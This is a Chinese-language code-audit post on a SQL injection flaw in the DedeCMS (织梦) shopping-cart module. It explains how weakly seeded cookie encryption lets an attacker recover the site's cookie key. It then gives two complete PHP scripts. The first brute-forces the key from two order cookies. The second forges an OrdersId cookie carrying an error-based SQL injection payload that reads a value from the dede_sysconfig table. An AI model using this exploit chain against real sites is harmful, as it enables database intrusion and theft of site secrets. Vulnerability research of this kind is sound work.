代码审计:dedecms(织梦) 2013-02-10 SQL注入漏洞 |

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在 include/shopcar.class.php中
先看一下这个shopcar类是如何生成cookie的

239      function saveCookie($key,$value)
 240      {
 241          if(is_array($value))
 242          {
 243              $value = $this->enCrypt($this->enCode($value));
 244          }
 245          else
 246          {
 247              $value = $this->enCrypt($value);
 248          }
 249          setcookie($key,$value,time()+36000,'/');
 250      }

简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数

186      function enCrypt($txt)
 187      {
 188          srand((double)microtime() * 1000000);
 189          $encrypt_key = md5(rand(0, 32000));
 190          $ctr = 0;
 191          $tmp = '';
 192          for($i = 0; $i < strlen($txt); $i++)
 193          {
 194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
 195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
 196          }
 197          return base64_encode($this->setKey($tmp));
 198      }

 213      function setKey($txt)
 214      {
 215          global $cfg_cookie_encode;
 216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
 217          $ctr = 0;
 218          $tmp = '';
 219          for($i = 0; $i < strlen($txt); $i++)
 220          {
 221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
 222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
 223          }
 224          return $tmp;
 225      }

enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
具体代码如下:

<?php

$cookie1 = "X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw=="; // here is the first cookie,change here 
$cookie2 = "ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ=="; // here is the second cookie ,change here
$plantxt = "id=2&price=0&units=fun&buynum=1&title=naduohua1"; // here is the text , change here

function reStrCode($code,$string)
{
    $code = base64_decode($code);
    $key = "";   
    for($i=0 ; $i<32 ; $i++)
    {
        $key .= $string[$i] ^ $code[$i];
    }
    return $key;
}

function getKeys($cookie,$plantxt)
{
    $tmp = $cookie;
    $results = array();
    for($j=0 ; $j < 32000; $j++)
    {
        $txt = $plantxt;
        $ctr = 0;
        $tmp = '';
        $encrypt_key = md5($j);
        for($i =0; $i < strlen($txt); $i ++)
        { 
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);    
        }
        $string = $tmp;
        $code = $cookie;      
        $result = reStrCode($code,$string);
        if(eregi('^[a-z0-9]+$',$result))
        {
            echo $result."\n";
            $results[] = $result;
        }
    }
    return $results;  
}

$results1 = getKeys($cookie1,$plantxt);
$results2 = getKeys($cookie2,$plantxt);

print "\n--------------------real key--------------------------\n";
foreach($results1 as $test1)
{
    foreach($results2 as $test2)
    {
        if($test1 == $test2)
        {
            echo $test1."\n";
        }
    }
}  

?>

cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1

然后推算出md5(strtolower($cfg_cookie_encode))

得到这个key之后,我们就可以构造任意购物车的cookie

接着看

20  class MemberShops
  21  {
  22      var $OrdersId;
  23      var $productsId;
  24  
  25      function __construct()
  26      {
  27          $this->OrdersId = $this->getCookie("OrdersId");
  28          if(empty($this->OrdersId))
  29          {
  30              $this->OrdersId = $this->MakeOrders();
  31          }
  32      }

发现OrderId是从cookie里面获取的
然后
/plus/carbuyaction.php中的

29      $cart    = new MemberShops();
  39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
......
 173          $rows = $dsql->GetOne("SELECT `oid` FROM dede_shops_orders WHERE oid='$OrdersId' LIMIT 0,1");

接着我们就可以注入了
通过利用下面代码生成cookie:

<?php

$txt = "1' or 1=@`\'` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from dede_sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\'` or '1'='1";

$encrypt_key = "9f09293b7419ed68448fb51d5b174834";   // here is the key, please change here

    function setKey($txt)
    {
        global $encrypt_key;   
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++)
        {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
        }
        return $tmp;
    }

    function enCrypt($txt)
    {
        srand((double)microtime() * 1000000);
        $encrypt_key = md5(rand(0, 32000));
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++)
        {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
        }
        return base64_encode(setKey($tmp));
    }

for($dest =0;$dest = enCrypt($txt);)
{
    if(!strpos($dest,'+'))
    {
        break;
    }
}

echo $dest."\n";

?>

作者:yy520

Tags:

dedecms漏洞,

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代码审计:dedecms(织梦) 2013-02-10 SQL注入漏洞 |